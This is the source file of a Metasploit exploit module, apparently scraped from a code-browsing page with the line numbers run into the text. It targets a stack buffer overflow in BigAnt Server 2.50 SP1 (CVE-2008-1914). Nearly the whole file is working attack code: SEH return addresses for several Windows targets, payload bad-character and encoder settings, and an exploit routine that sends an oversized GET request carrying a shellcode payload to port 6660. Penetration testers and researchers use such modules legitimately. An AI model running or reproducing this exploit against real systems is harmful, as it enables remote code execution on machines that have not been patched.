Path: blob/master/modules/exploits/windows/misc/bigant_server_250.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',16'Description' => %q{17This exploits a stack buffer overflow in the BigAnt Messaging Service,18part of the BigAnt Server product suite. This module was tested19successfully against version 2.50 SP1.20},21'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],22'License' => MSF_LICENSE,23'References' => [24# It's not clear if these are correct - there was a fix for25# the v2.2 vuln back in Dec 200826[ 'CVE', '2008-1914'],27[ 'OSVDB', '44454'],28[ 'EDB', '9673' ],29[ 'EDB', '9690' ]30# [ 'B_ID', '28795' ],31# [ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],32],33'Privileged' => true,34'DefaultOptions' => {35'EXITFUNC' => 'seh',36'AllowWin32SEH' => true37},38'Payload' => {39'Space' => 710,40'BadChars' => "\x00\x20\x0a\x0d",41'StackAdjustment' => -3500,42'EncoderType' => Msf::Encoder::Type::AlphanumUpper,43'DisableNops' => true,44},45'Platform' => 'win',46'Targets' => [47[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k48[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)49[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work50],51'DefaultTarget' => 0,52'DisclosureDate' => '2008-04-15',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options([Opt::RPORT(6660)])62end6364def exploit65connect6667sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)68sploit << rand_text_alpha_upper(1000 - payload.encoded.length)6970print_status("Trying target #{target.name}...")71sock.put(sploit + "\r\n\r\n")7273handler74disconnect75end76end777879